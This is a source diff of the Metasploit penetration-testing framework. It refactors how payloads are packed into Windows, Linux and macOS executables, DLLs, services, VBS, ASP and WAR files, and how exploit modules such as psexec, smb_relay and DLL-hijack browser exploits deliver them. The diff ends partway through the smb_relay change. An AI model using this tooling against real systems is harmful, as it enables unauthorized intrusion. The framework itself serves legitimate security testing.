diff --git a/lib/msf/base/simple/buffer.rb b/lib/msf/base/simple/buffer.rb
index ae7b4a69d4..b250b09e1c 100644
--- a/lib/msf/base/simple/buffer.rb
+++ b/lib/msf/base/simple/buffer.rb
@@ -1,3 +1,7 @@
+##
+# $Id$
+##
+
require 'msf/base'
module Msf
@@ -19,9 +23,9 @@ module Buffer
def self.transform(buf, fmt = "ruby")
case fmt
when 'raw'
- when 'ruby'
+ when 'ruby', 'rb'
buf = Rex::Text.to_ruby(buf)
- when 'perl'
+ when 'perl', 'pl'
buf = Rex::Text.to_perl(buf)
when 'c'
buf = Rex::Text.to_c(buf)
@@ -45,9 +49,9 @@ module Buffer
def self.comment(buf, fmt = "ruby")
case fmt
when 'raw'
- when 'ruby'
+ when 'ruby', 'rb'
buf = Rex::Text.to_ruby_comment(buf)
- when 'perl'
+ when 'perl', 'pl'
buf = Rex::Text.to_perl_comment(buf)
when 'c'
buf = Rex::Text.to_c_comment(buf)
@@ -62,6 +66,13 @@ module Buffer
return buf
end
+ #
+ # Returns the list of supported formats
+ #
+ def self.transform_formats
+ ['raw','ruby','rb','perl','pl','c','js_be','js_le','java']
+ end
+
end
end
diff --git a/lib/msf/base/simple/payload.rb b/lib/msf/base/simple/payload.rb
index aed76c3082..cf380fe0e0 100644
--- a/lib/msf/base/simple/payload.rb
+++ b/lib/msf/base/simple/payload.rb
@@ -1,3 +1,7 @@
+##
+# $Id$
+##
+
require 'msf/base'
module Msf
@@ -52,86 +56,66 @@ module Payload
'Space' => opts['MaxSize'])
fmt = opts['Format'] || 'raw'
- inject = opts['KeepTemplateWorking'] || false
- altexe = opts['Template'] || nil
+
+ exeopts = {
+ :inject => opts['KeepTemplateWorking'],
+ :template => opts['Template'],
+ :template_path => opts['ExeDir']
+ }
arch = payload.arch
+ plat = opts['Platform'] || payload.platform
# Save off the original payload length
len = e.encoded.length
-
- case fmt
- when 'exe'
- buf = nil
- if(not arch or (arch.index(ARCH_X86)))
- buf = Msf::Util::EXE.to_win32pe(framework, e.encoded , {:insert => inject, :template => altexe})
- end
+ output = Msf::Util::EXE.to_executable_fmt(framework, arch, plat, e.encoded, fmt, exeopts)
- if(arch and (arch.index( ARCH_X86_64 ) or arch.index( ARCH_X64 )))
- buf = Msf::Util::EXE.to_win64pe(framework, e.encoded, {:insert => inject, :template => altexe})
- end
-
- when 'exe-small'
- buf = nil
- if(not arch or (arch.index(ARCH_X86)))
- buf = Msf::Util::EXE.to_win32pe_old(framework, e.encoded)
- end
-
- when 'elf'
- buf = Msf::Util::EXE.to_linux_x86_elf(framework, e.encoded)
- when 'macho'
- buf = Msf::Util::EXE.to_osx_x86_macho(framework, e.encoded)
- when 'vba'
- exe = nil
- exe = Msf::Util::EXE.to_win32pe(framework, e.encoded , {:insert => inject, :template => altexe})
- buf = Msf::Util::EXE.to_exe_vba(exe)
- when 'vbs'
- buf = Msf::Util::EXE.to_win32pe_vbs(framework, e.encoded, {:insert => inject, :persist => false, :template => altexe})
- when 'loop-vbs'
- buf = Msf::Util::EXE.to_win32pe_vbs(framework, e.encoded, {:insert => inject, :persist => true, :template => altexe})
- when 'asp'
- buf = Msf::Util::EXE.to_win32pe_asp(framework, e.encoded , {:insert => inject, :persist => false, :template => altexe})
- when 'war'
- plat = Msf::Module::PlatformList.transform(opts['Platform'])
-
- tmp_plat = plat.platforms
- exe = Msf::Util::EXE.to_executable(framework, arch, tmp_plat, e.encoded, { :template => altexe})
- buf = Msf::Util::EXE.to_jsp_war(exe, {:persist => false })
- else
+ if not output
# Serialize the generated payload to some sort of format
- buf = Buffer.transform(e.encoded, fmt)
+ fmt ||= "ruby"
+ output = Buffer.transform(e.encoded, fmt)
# Prepend a comment
if (fmt != 'raw' and opts['NoComment'] != true)
((ou = payload.options.options_used_to_s(payload.datastore)) and ou.length > 0) ? ou += "\n" : ou = ''
- buf = Buffer.comment(
- "#{payload.refname} - #{len} bytes#{payload.staged? ? " (stage 1)" : ""}\n" +
- "http://www.metasploit.com\n" +
- ((e.encoder) ? "Encoder: #{e.encoder.refname}\n" : '') +
- ((e.nop) ? "NOP gen: #{e.nop.refname}\n" : '') +
- "#{ou}",
- fmt) + buf
+ output =
+ Buffer.comment(
+ "#{payload.refname} - #{len} bytes#{payload.staged? ? " (stage 1)" : ""}\n" +
+ "http://www.metasploit.com\n" +
+ ((e.encoder) ? "Encoder: #{e.encoder.refname}\n" : '') +
+ ((e.nop) ? "NOP gen: #{e.nop.refname}\n" : '') +
+ "#{ou}",
+ fmt) +
+ output
# If it's multistage, include the second stage too
if payload.staged?
stage = payload.generate_stage
-
+
# If a stage was generated, then display it
if stage and stage.length > 0
- buf +=
+ output +=
"\n" +
Buffer.comment(
- "#{payload.refname} - #{stage.length} bytes (stage 2)\n" +
- "http://www.metasploit.com\n",
- fmt) + Buffer.transform(stage, fmt)
+ "#{payload.refname} - #{stage.length} bytes (stage 2)\n" +
+ "http://www.metasploit.com\n",
+ fmt) +
+ Buffer.transform(stage, fmt)
end
end
- end
+
+ end
+
end
- return buf
+ # How to warn?
+ #if exeopts[:fellback]
+ # $stderr.puts(OutError + "Warning: Falling back to default template: #{exeopts[:fellback]}")
+ #end
+
+ return output
end
#
diff --git a/lib/msf/core/exploit/exe.rb b/lib/msf/core/exploit/exe.rb
index 6e9e6f69ff..2822fe8669 100644
--- a/lib/msf/core/exploit/exe.rb
+++ b/lib/msf/core/exploit/exe.rb
@@ -16,24 +16,22 @@ module Exploit::EXE
register_advanced_options(
[
- OptString.new( 'EXETEMPLATE', [ false, 'The executable template file name.' ]),
- OptBool.new( 'EXEINJECT', [ false, 'Set to preserve the original EXE function' ])
+ OptString.new( 'EXE::Path', [ false, 'The directory in which to look for the executable template' ]),
+ OptString.new( 'EXE::Template', [ false, 'The executable template file name.' ]),
+ OptBool.new( 'EXE::Inject', [ false, 'Set to preserve the original EXE function' ]),
+ OptBool.new( 'EXE::FallBack', [ false, 'Use the default template in case the specified one is missing' ])
], self.class)
end
def generate_payload_exe(opts = {})
- if (altexe = datastore['EXETEMPLATE'])
- opts.merge!({ :template => altexe })
- end
- if (datastore['EXEINJECT'])
- opts.merge!({ :inject => true })
- end
+ exe_init_datastore(opts)
# Prefer the target's platform/architecture information, but use
# the module's if no target specific information exists
lplat ||= target_platform
lplat ||= platform
+ larch ||= opts[:arch]
larch ||= target_arch
larch ||= arch
@@ -55,7 +53,60 @@ module Exploit::EXE
pl = opts[:code]
pl ||= payload.encoded
- Msf::Util::EXE.to_executable(framework, larch, lplat, pl, opts)
+ exe = Msf::Util::EXE.to_executable(framework, larch, lplat, pl, opts)
+ exe_post_generation(opts)
+ exe
+ end
+
+ def generate_payload_exe_service(opts = {})
+ exe_init_datastore(opts)
+
+ # NOTE: Only Windows is supported here.
+ pl = opts[:code]
+ pl ||= payload.encoded
+
+ if opts[:arch] and opts[:arch] == ARCH_X64
+ exe = Msf::Util::EXE.to_win64pe_service(framework, pl, opts)
+ else
+ exe = Msf::Util::EXE.to_win32pe_service(framework, pl, opts)
+ end
+
+ exe_post_generation(opts)
+ exe
+ end
+
+ def generate_payload_dll(opts = {})
+ exe_init_datastore(opts)
+
+ # NOTE: Only Windows is supported here.
+ pl = opts[:code]
+ pl ||= payload.encoded
+
+ if opts[:arch] and opts[:arch] == ARCH_X64
+ dll = Msf::Util::EXE.to_win64pe_dll(framework, pl, opts)
+ else
+ dll = Msf::Util::EXE.to_win32pe_dll(framework, pl, opts)
+ end
+
+ exe_post_generation(opts)
+ dll
+ end
+
+protected
+ def exe_init_datastore(opts)
+ opts.merge!(
+ {
+ :template_path => datastore['EXE::Path'],
+ :template => datastore['EXE::Template'],
+ :inject => datastore['EXE::Inject'],
+ :fallback => datastore['EXE::FallBack']
+ })
+ end
+
+ def exe_post_generation(opts)
+ if (opts[:fellback])
+ print_status("Warning: Falling back to default template: #{opts[:fellback]}")
+ end
end
end
diff --git a/lib/msf/core/rpc/module.rb b/lib/msf/core/rpc/module.rb
index d04651d4b9..c9096351cf 100644
--- a/lib/msf/core/rpc/module.rb
+++ b/lib/msf/core/rpc/module.rb
@@ -1,3 +1,7 @@
+##
+# $Id$
+##
+
module Msf
module RPC
class Module < Base
@@ -141,87 +145,66 @@ class Module < Base
authenticate(token)
buf = Rex::Text.decode_base64(data)
- fmt = options['format']
- if (options['format'] and options['format'] =~ /^(perl|ruby|rb|raw|c|js_le|js_be|java|dll|exe|exe-small|elf|vba|vbs|loop-vbs|asp|war|macho)$/)
- fmt = options['format']
- elsif options['format']
- raise ::XMLRPC::FaultException.new(500, "failed to generate: invalid format")
+ # Load supported formats
+ supported_formats = Msf::Simple::Buffer.transform_formats + Msf::Util::EXE.to_executable_fmt_formats
+
+ if (fmt = options['format'])
+ if not supported_formats.include?(fmt)
+ raise ::XMLRPC::FaultException.new(500, "failed to generate: invalid format: #{fmt}")
+ end
end
+
badchars = ''
if options['badchars']
badchars = Rex::Text.hex_to_raw(options['badchars'])
end
+
plat = nil
if options['plat']
plat = Msf::Module::PlatformList.transform(val)
end
- inject = false
- if options['inject']
- altexe = true
- end
- altexe = nil
- if options['altexe']
- altexe = options['altexe']
- end
arch = nil
if options['arch']
arch = options['arch']
end
+
ecount = 1
if options['ecount']
ecount = options['ecount'].to_i
end
+
+ exeopts = {
+ :inject => options['inject'],
+ :template => options['altexe'],
+ :template_path => options['exedir']
+ }
+
enc = $framework.encoders.create(encoder)
+
begin
# Imports options
enc.datastore.update(options)
eout = buf.dup
raw = nil
- output = nil
1.upto(ecount) do |iteration|
# Encode it up
raw = enc.encode(eout, badchars, nil, plat)
end
- case fmt
- when 'dll'
- output = Msf::Util::EXE.to_win32pe_dll($framework, raw)
- when 'exe'
- if(not arch or (arch.index(ARCH_X86)))
- output = Msf::Util::EXE.to_win32pe($framework, raw, {:insert => inject, :template => altexe})
- end
+ output = Msf::Util::EXE.to_executable_fmt($framework, arch, plat, raw, fmt, exeopts)
- if(arch and (arch.index( ARCH_X86_64 ) or arch.index( ARCH_X64 )))
- output = Msf::Util::EXE.to_win64pe($framework, raw, {:insert => inject, :template => altexe})
- end
- when 'exe-small'
- if(not arch or (arch.index(ARCH_X86)))
- output = Msf::Util::EXE.to_win32pe_old($framework, raw)
- end
- when 'elf'
- output = Msf::Util::EXE.to_linux_x86_elf($framework, raw)
- when 'macho'
- output = Msf::Util::EXE.to_osx_x86_macho($framework, raw)
- when 'vba'
- exe = Msf::Util::EXE.to_win32pe($framework, raw, {:insert => inject, :template => altexe})
- output = Msf::Util::EXE.to_exe_vba(exe)
- when 'vbs'
- vbs = Msf::Util::EXE.to_win32pe_vbs($framework, raw, {:insert => inject, :persist => false, :template => altexe})
- output = vbs
- when 'loop-vbs'
- output = Msf::Util::EXE.to_win32pe_vbs($framework, raw, {:insert => inject, :persist => true, :template => altexe})
- when 'asp'
- output = Msf::Util::EXE.to_win32pe_asp($framework, raw, {:insert => inject, :persist => false, :template => altexe})
- when 'war'
- tmp_plat = plat.platforms
- exe = Msf::Util::EXE.to_executable($framework, arch, tmp_plat, raw, { :template => altexe})
- output = Msf::Util::EXE.to_jsp_war(exe, { :persist => false })
- else
+ if not output
fmt ||= "ruby"
output = Msf::Simple::Buffer.transform(raw, fmt)
end
+
+ # How to warn?
+ #if exeopts[:fellback]
+ # $stderr.puts(OutError + "Warning: Falling back to default template: #{exeopts[:fellback]}")
+ #end
+
{"encoded" => Rex::Text.encode_base64(output.to_s)}
rescue => e
raise ::XMLRPC::FaultException.new(500, "#{enc.refname} failed: #{e} #{e.backtrace}")
diff --git a/lib/msf/ui/console/command_dispatcher/payload.rb b/lib/msf/ui/console/command_dispatcher/payload.rb
index 096ac46d39..3ad3ec0f90 100644
--- a/lib/msf/ui/console/command_dispatcher/payload.rb
+++ b/lib/msf/ui/console/command_dispatcher/payload.rb
@@ -1,3 +1,7 @@
+##
+# $Id$
+##
+
require 'rex/parser/arguments'
module Msf
@@ -14,6 +18,9 @@ class Payload
include Msf::Ui::Console::ModuleCommandDispatcher
+ # Load supported formats
+ supported_formats = Msf::Simple::Buffer.transform_formats + Msf::Util::EXE.to_executable_fmt_formats
+
@@generate_opts = Rex::Parser::Arguments.new(
"-b" => [ true, "The list of characters to avoid: '\\x00\\xff'" ],
"-E" => [ false, "Force encoding." ],
@@ -22,8 +29,7 @@ class Payload
"-o" => [ true, "A comma separated list of options in VAR=VAL format." ],
"-s" => [ true, "NOP sled length." ],
"-f" => [ true, "The output file name (otherwise stdout)" ],
- "-t" => [ true, "The output type: c, elf, exe, java, js_le, js_be, " +
- " perl, raw, ruby, vba, vbs, loop-vbs, asp, war, macho." ],
+ "-t" => [ true, "The output format: #{supported_formats.join(',')}" ],
"-p" => [ true, "The Platform for output." ],
"-k" => [ false, "Keep the template executable functional" ],
"-x" => [ true, "The executable template to use" ],
diff --git a/lib/msf/util/exe.rb b/lib/msf/util/exe.rb
index 779bd2854d..18076e6baf 100644
--- a/lib/msf/util/exe.rb
+++ b/lib/msf/util/exe.rb
@@ -23,6 +23,45 @@ require 'rex/pescan'
require 'rex/zip'
require 'metasm'
+ ##
+ #
+ # Helper functions common to multiple generators
+ #
+ ##
+
+ def self.set_template_default(opts, exe = nil, path = nil)
+ # If no path specified, use the default one.
+ path ||= File.join(File.dirname(__FILE__), "..", "..", "..", "data", "templates")
+
+ # If there's no default name, we must blow it up.
+ if not exe
+ raise RuntimeError, 'Ack! Msf::Util::EXE.set_template_default called w/o default exe name!'
+ end
+
+ # Use defaults only if nothing is specified
+ opts[:template_path] ||= path
+ opts[:template] ||= exe
+
+ # Only use the path when the filename contains no separators.
+ if not opts[:template].include?(File::SEPARATOR)
+ opts[:template] = File.join(opts[:template_path], opts[:template])
+ end
+
+ # Check if it exists now
+ return if File.file?(opts[:template])
+
+ # If it failed, try the default...
+ if opts[:fallback]
+ default_template = File.join(path, exe)
+ if File.file?(default_template)
+ # Perhaps we should warn about falling back to the default?
+ opts.merge!({ :fellback => default_template })
+ opts[:template] = default_template
+ end
+ end
+ end
+
+
##
#
# Executable generators
@@ -78,7 +117,7 @@ require 'metasm'
def self.to_win32pe(framework, code, opts={})
# Allow the user to specify their own EXE template
- opts[:template] ||= File.join(File.dirname(__FILE__), "..", "..", "..", "data", "templates", "template_x86_windows.exe")
+ set_template_default(opts, "template_x86_windows.exe")
# Copy the code to a new RWX segment to allow for self-modifying encoders
payload = win32_rwx_exec(code)
@@ -170,7 +209,7 @@ require 'metasm'
end
if(not text)
- raise RuntimeError, "No .text section found in the template_x86_windows.exe"
+ raise RuntimeError, "No .text section found in the template"
end
if ! text.contains_rva?(pe.hdr.opt.AddressOfEntryPoint)
@@ -247,7 +286,7 @@ require 'metasm'
# Mangle 25% of the original executable
1.upto(block[1] / 4) do
- data[ block[0] + rand(block[1]), 1] = [rand(0x100)].pack("C")
+ data[ block[0] + rand(block[1]), 1] = [rand(0x100)].pack("C")
end
# Patch the payload and the new entry point into the .text
@@ -280,7 +319,7 @@ require 'metasm'
def self.to_win32pe_old(framework, code, opts={})
# Allow the user to specify their own EXE template
- opts[:template] ||= File.join(File.dirname(__FILE__), "..", "..", "..", "data", "templates", "template_x86_windows_old.exe")
+ set_template_default(opts, "template_x86_windows_old.exe")
pe = ''
File.open(opts[:template], "rb") { |fd|
@@ -296,7 +335,7 @@ require 'metasm'
end
bo = pe.index('PAYLOAD:')
- raise RuntimeError, "Invalid Win32 PE OLD EXE template!" if not bo
+ raise RuntimeError, "Invalid Win32 PE OLD EXE template: missing \"PAYLOAD:\" tag" if not bo
pe[bo, code.length] = code
pe[136, 4] = [rand(0x100000000)].pack('V')
@@ -325,7 +364,7 @@ require 'metasm'
def self.to_win64pe(framework, code, opts={})
# Allow the user to specify their own EXE template
- opts[:template] ||= File.join(File.dirname(__FILE__), "..", "..", "..", "data", "templates", "template_x64_windows.exe")
+ set_template_default(opts, "template_x64_windows.exe")
pe = ''
File.open(opts[:template], "rb") { |fd|
@@ -333,7 +372,7 @@ require 'metasm'
}
bo = pe.index('PAYLOAD:')
- raise RuntimeError, "Invalid Win64 PE EXE template!" if not bo
+ raise RuntimeError, "Invalid Win64 PE EXE template: missing \"PAYLOAD:\" tag" if not bo
pe[bo, code.length] = code
return pe
@@ -344,7 +383,7 @@ require 'metasm'
name = opts[:servicename] || 'SERVICENAME'
# Allow the user to specify their own service EXE template
- opts[:template] ||= File.join(File.dirname(__FILE__), "..", "..", "..", "data", "templates", "template_x86_windows_svc.exe")
+ set_template_default(opts, "template_x86_windows_svc.exe")
pe = ''
File.open(opts[:template], 'rb') { |fd|
@@ -352,11 +391,11 @@ require 'metasm'
}
bo = pe.index('PAYLOAD:')
- raise RuntimeError, "Invalid Win32 PE Service EXE template!" if not bo
+ raise RuntimeError, "Invalid Win32 PE Service EXE template: missing \"PAYLOAD:\" tag" if not bo
pe[bo, 8192] = [code].pack("a8192")
bo = pe.index('SERVICENAME')
- raise RuntimeError, "Invalid Win32 PE Service EXE template!" if not bo
+ raise RuntimeError, "Invalid Win32 PE Service EXE template: missing \"SERVICENAME\" tag" if not bo
pe[bo, 11] = [name].pack('a11')
pe[136, 4] = [rand(0x100000000)].pack('V')
@@ -367,7 +406,7 @@ require 'metasm'
def self.to_win64pe_service(framework, code, opts={})
# Allow the user to specify their own service EXE template
- opts[:template] ||= File.join(File.dirname(__FILE__), "..", "..", "..", "data", "templates", "template_x64_windows_svc.exe")
+ set_template_default(opts, "template_x64_windows_svc.exe")
pe = ''
File.open(opts[:template], "rb") { |fd|
@@ -375,11 +414,11 @@ require 'metasm'
}
bo = pe.index('PAYLOAD:')
- raise RuntimeError, "Invalid Win64 PE Service EXE template!" if not bo
+ raise RuntimeError, "Invalid Win64 PE Service EXE template: missing \"PAYLOAD:\" tag" if not bo
pe[bo, 8192] = [code].pack("a8192")
bo = pe.index('SERVICENAME')
- raise RuntimeError, "Invalid Win64 PE Service EXE template!" if not bo
+ raise RuntimeError, "Invalid Win64 PE Service EXE template: missing \"SERVICENAME\" tag" if not bo
pe[bo, 11] = [name].pack('a11')
pe[136, 4] = [rand(0x100000000)].pack('V')
@@ -390,7 +429,7 @@ require 'metasm'
def self.to_win32pe_dll(framework, code, opts={})
# Allow the user to specify their own DLL template
- opts[:template] ||= File.join(File.dirname(__FILE__), "..", "..", "..", "data", "templates", "template_x86_windows.dll")
+ set_template_default(opts, "template_x86_windows.dll")
pe = ''
File.open(opts[:template], "rb") { |fd|
@@ -398,9 +437,31 @@ require 'metasm'
}
bo = pe.index('PAYLOAD:')
- raise RuntimeError, "Invalid Win32 PE DLL template!" if not bo
+ raise RuntimeError, "Invalid Win32 PE DLL template: missing \"PAYLOAD:\" tag" if not bo
pe[bo, 8192] = [code].pack("a8192")
+ # optional mutex
+ mt = pe.index('MUTEX!!!')
+ pe[mt,8] = Rex::Text.rand_text_alpha(8) if mt
+
+ return pe
+ end
+
+ def self.to_win64pe_dll(framework, code, opts={})
+
+ # Allow the user to specify their own DLL template
+ set_template_default(opts, "template_x64_windows.dll")
+
+ pe = ''
+ File.open(opts[:template], "rb") { |fd|
+ pe = fd.read(fd.stat.size)
+ }
+
+ bo = pe.index('PAYLOAD:')
+ raise RuntimeError, "Invalid Win64 PE DLL template: missing \"PAYLOAD:\" tag" if not bo
+ pe[bo, 8192] = [code].pack("a8192")
+
+ # optional mutex
mt = pe.index('MUTEX!!!')
pe[mt,8] = Rex::Text.rand_text_alpha(8) if mt
@@ -410,7 +471,7 @@ require 'metasm'
def self.to_osx_arm_macho(framework, code, opts={})
# Allow the user to specify their own template
- opts[:template] ||= File.join(File.dirname(__FILE__), "..", "..", "..", "data", "templates", "template_armle_darwin.bin")
+ set_template_default(opts, "template_armle_darwin.bin")
mo = ''
File.open(opts[:template], "rb") { |fd|
@@ -418,20 +479,16 @@ require 'metasm'
}
bo = mo.index('PAYLOAD:')
- raise RuntimeError, "Invalid OSX ArmLE Mach-O template!" if not bo
+ raise RuntimeError, "Invalid OSX ArmLE Mach-O template: missing \"PAYLOAD:\" tag" if not bo
mo[bo, code.length] = code
- # Not used?
- #co = mo.index('COMMENT:')
- #mo[co, comment.length] = comment
-
return mo
end
def self.to_osx_ppc_macho(framework, code, opts={})
# Allow the user to specify their own template
- opts[:template] ||= File.join(File.dirname(__FILE__), "..", "..", "..", "data", "templates", "template_ppc_darwin.bin")
+ set_template_default(opts, "template_ppc_darwin.bin")
mo = ''
File.open(opts[:template], "rb") { |fd|
@@ -439,20 +496,16 @@ require 'metasm'
}
bo = mo.index('PAYLOAD:')
- raise RuntimeError, "Invalid OSX PPC Mach-O template!" if not bo
+ raise RuntimeError, "Invalid OSX PPC Mach-O template: missing \"PAYLOAD:\" tag" if not bo
mo[bo, code.length] = code
- # Not used?
- #co = mo.index('COMMENT:')
- #mo[co, comment.length] = comment
-
return mo
end
def self.to_osx_x86_macho(framework, code, opts={})
# Allow the user to specify their own template
- opts[:template] ||= File.join(File.dirname(__FILE__), "..", "..", "..", "data", "templates", "template_x86_darwin.bin")
+ set_template_default(opts, "template_x86_darwin.bin")
mo = ''
File.open(opts[:template], "rb") { |fd|
@@ -460,20 +513,16 @@ require 'metasm'
}
bo = mo.index('PAYLOAD:')
- raise RuntimeError, "Invalid OSX x86 Mach-O template!" if not bo
+ raise RuntimeError, "Invalid OSX x86 Mach-O template: missing \"PAYLOAD:\" tag" if not bo
mo[bo, code.length] = code
- # Not used?
- #co = mo.index('COMMENT:')
- #mo[co, comment.length] = comment
-
return mo
end
def self.to_linux_x86_elf(framework, code, opts={})
# Allow the user to specify their own template
- opts[:template] ||= File.join(File.dirname(__FILE__), "..", "..", "..", "data", "templates", "template_x86_linux.bin")
+ set_template_default(opts, "template_x86_linux.bin")
elf = ''
File.open(opts[:template], "rb") { |fd|
@@ -499,7 +548,7 @@ require 'metasm'
def self.to_linux_armle_elf(framework, code, opts={})
# Allow the user to specify their own template
- opts[:template] ||= File.join(File.dirname(__FILE__), "..", "..", "..", "data", "templates", "template_armle_linux.bin")
+ set_template_default(opts, "template_armle_linux.bin")
elf = ''
File.open(opts[:template], "rb") { |fd|
@@ -780,13 +829,13 @@ require 'metasm'
manifest = "Manifest-Version: 1.0\r\nCreated-By: 1.6.0_17 (Sun Microsystems Inc.)\r\n\r\n"
web_xml = %q{
+"-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
+"http://java.sun.com/dtds/web-app_2_3.dtd">
-
- NAME
- /PAYLOAD.jsp
-
+
+NAME
+/PAYLOAD.jsp
+
}
web_xml.gsub!(/NAME/, app_name)
@@ -903,7 +952,7 @@ require 'metasm'
def self.to_dotnetmem(base=0x12340000, data="", opts={})
# Allow the user to specify their own DLL template
- opts[:template] ||= File.join(File.dirname(__FILE__), "..", "..", "..", "data", "templates", "dotnetmem.dll")
+ set_template_default(opts, "dotnetmem.dll")
pe = ''
File.open(opts[:template], "rb") { |fd|
@@ -1389,6 +1438,76 @@ require 'metasm'
res
end
+
+ #
+ # This routine is shared between msfencode, rpc, and payload modules (use )
+ #
+ # It will return nil if it wasn't able to generate any output.
+ #
+ def self.to_executable_fmt(framework, arch, plat, code, fmt, exeopts)
+
+ output = nil
+
+ case fmt
+ when 'dll'
+ if (not arch or (arch.index(ARCH_X86)))
+ output = Msf::Util::EXE.to_win32pe_dll(framework, code, exeopts)
+ end
+
+ if(arch and (arch.index( ARCH_X86_64 ) or arch.index( ARCH_X64 )))
+ output = Msf::Util::EXE.to_win64pe_dll(framework, code, exeopts)
+ end
+
+ when 'exe'
+ if (not arch or (arch.index(ARCH_X86)))
+ output = Msf::Util::EXE.to_win32pe(framework, code, exeopts)
+ end
+
+ if(arch and (arch.index( ARCH_X86_64 ) or arch.index( ARCH_X64 )))
+ output = Msf::Util::EXE.to_win64pe(framework, code, exeopts)
+ end
+
+ when 'exe-small'
+ if(not arch or (arch.index(ARCH_X86)))
+ output = Msf::Util::EXE.to_win32pe_old(framework, code, exeopts)
+ end
+
+ when 'elf'
+ output = Msf::Util::EXE.to_linux_x86_elf(framework, code, exeopts)
+
+ when 'macho'
+ output = Msf::Util::EXE.to_osx_x86_macho(framework, code, exeopts)
+
+ when 'vba'
+ exe = Msf::Util::EXE.to_win32pe(framework, code, exeopts)
+ output = Msf::Util::EXE.to_exe_vba(exe)
+
+ when 'vbs'
+ output = Msf::Util::EXE.to_win32pe_vbs(framework, code, exeopts.merge({ :persist => false }))
+
+ when 'loop-vbs'
+ output = Msf::Util::EXE.to_win32pe_vbs(framework, code, exeopts.merge({ :persist => true }))
+
+ when 'asp'
+ output = Msf::Util::EXE.to_win32pe_asp(framework, code, exeopts)
+
+ when 'war'
+ arch ||= [ ARCH_X86 ]
+ tmp_plat = plat.platforms if plat
+ tmp_plat ||= Msf::Module::PlatformList.transform('win')
+ exe = Msf::Util::EXE.to_executable(framework, arch, tmp_plat, code, exeopts)
+ output = Msf::Util::EXE.to_jsp_war(exe)
+
+ end
+
+ output
+ end
+
+ def self.to_executable_fmt_formats
+ ['dll','exe','exe-small','elf','macho','vba','vbs','loop-vbs','asp','war']
+ end
+
+
end
end
end
diff --git a/modules/exploits/windows/browser/java_ws_arginject_altjvm.rb b/modules/exploits/windows/browser/java_ws_arginject_altjvm.rb
index 4a423cf05e..63162356be 100644
--- a/modules/exploits/windows/browser/java_ws_arginject_altjvm.rb
+++ b/modules/exploits/windows/browser/java_ws_arginject_altjvm.rb
@@ -18,6 +18,7 @@ class Metasploit3 < Msf::Exploit::Remote
# This module acts as an HTTP server
#
include Msf::Exploit::Remote::HttpServer::HTML
+ include Msf::Exploit::EXE
def initialize(info = {})
super(update_info(info,
@@ -175,7 +176,7 @@ class Metasploit3 < Msf::Exploit::Remote
return if ((p = regenerate_payload(cli)) == nil)
# Generate a DLL based on the payload
- dll_data = Msf::Util::EXE.to_win32pe_dll(framework, p.encoded)
+ dll_data = generate_payload_dll({ :code => p.encoded })
# Send it :)
send_response(cli, dll_data, { 'Content-Type' => 'application/octet-stream' })
diff --git a/modules/exploits/windows/browser/ms10_046_shortcut_icon_dllloader.rb b/modules/exploits/windows/browser/ms10_046_shortcut_icon_dllloader.rb
index 8d13acb80a..1e82065639 100644
--- a/modules/exploits/windows/browser/ms10_046_shortcut_icon_dllloader.rb
+++ b/modules/exploits/windows/browser/ms10_046_shortcut_icon_dllloader.rb
@@ -18,6 +18,7 @@ class Metasploit3 < Msf::Exploit::Remote
# This module acts as an HTTP server
#
include Msf::Exploit::Remote::HttpServer::HTML
+ include Msf::Exploit::EXE
def initialize(info = {})
super(update_info(info,
@@ -96,8 +97,7 @@ class Metasploit3 < Msf::Exploit::Remote
if (request.uri =~ /\.dll$/i)
print_status "Sending DLL payload #{cli.peerhost}:#{cli.peerport} ..."
return if ((p = regenerate_payload(cli)) == nil)
- # Can't use generate_exe from Msf::Exploit::EXE since it can't currently generate dlls :-/
- data = Msf::Util::EXE.to_win32pe_dll(framework, p.encoded)
+ data = generate_payload_dll({ :code => p.encoded })
send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
return
end
diff --git a/modules/exploits/windows/browser/webdav_dll_hijacker.rb b/modules/exploits/windows/browser/webdav_dll_hijacker.rb
index d710a9d08e..f49fb90e6d 100644
--- a/modules/exploits/windows/browser/webdav_dll_hijacker.rb
+++ b/modules/exploits/windows/browser/webdav_dll_hijacker.rb
@@ -106,7 +106,7 @@ class Metasploit3 < Msf::Exploit::Remote
if (request.uri =~ /\.(dll|dl|drv|cpl)$/i)
print_status("#{cli.peerhost}:#{cli.peerport} GET => DLL Payload")
return if ((p = regenerate_payload(cli)) == nil)
- data = Msf::Util::EXE.to_win32pe_dll(framework, p.encoded)
+ data = generate_payload_dll({ :code => p.encoded })
send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
return
end
diff --git a/modules/exploits/windows/smb/psexec.rb b/modules/exploits/windows/smb/psexec.rb
index 8c668d7725..d0bb208629 100644
--- a/modules/exploits/windows/smb/psexec.rb
+++ b/modules/exploits/windows/smb/psexec.rb
@@ -32,6 +32,7 @@ class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::Remote::SMB
include Msf::Exploit::Remote::SMB::Authenticated
include Msf::Auxiliary::Report
+ include Msf::Exploit::EXE
def initialize(info = {})
super(update_info(info,
@@ -130,18 +131,14 @@ class Metasploit3 < Msf::Exploit::Remote
print_status("Uploading payload...")
simple.connect("ADMIN$")
fd = simple.open("\\#{filename}", 'rwct')
+
exe = ''
+ opts = { :servicename => servicename }
if (datastore['PAYLOAD'].include? 'x64')
- exe = Msf::Util::EXE.to_win64pe_service(framework, payload.encoded,
- {
- :servicename => servicename
- })
- else
- exe = Msf::Util::EXE.to_win32pe_service(framework, payload.encoded,
- {
- :servicename => servicename
- })
+ opts.merge!({ :arch => ARCH_X64 })
end
+ exe = generate_payload_exe_service(opts)
+
fd << exe
fd.close
diff --git a/modules/exploits/windows/smb/smb_relay.rb b/modules/exploits/windows/smb/smb_relay.rb
index 292468d447..5463c601f6 100644
--- a/modules/exploits/windows/smb/smb_relay.rb
+++ b/modules/exploits/windows/smb/smb_relay.rb
@@ -29,6 +29,7 @@ class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::SMBServer
+ include Msf::Exploit::EXE
def initialize(info = {})
super(update_info(info,
@@ -138,13 +139,25 @@ class Metasploit3 < Msf::Exploit::Remote
# Upload the shellcode to a file
print_status("Uploading payload...")
+
filename = rand_text_alpha(8) + ".exe"
+ servicename = rand_text_alpha(8)
+
fd = rclient.open("\\#{filename}", 'rwct')
- fd << Msf::Util::EXE.to_win32pe_service(framework, code.encoded,
- {
- :servicename => rand_text_alpha(8)
- })
+
+ exe = ''
+ opts = {
+ :servicename => servicename,
+ :code => code.encoded
+ }
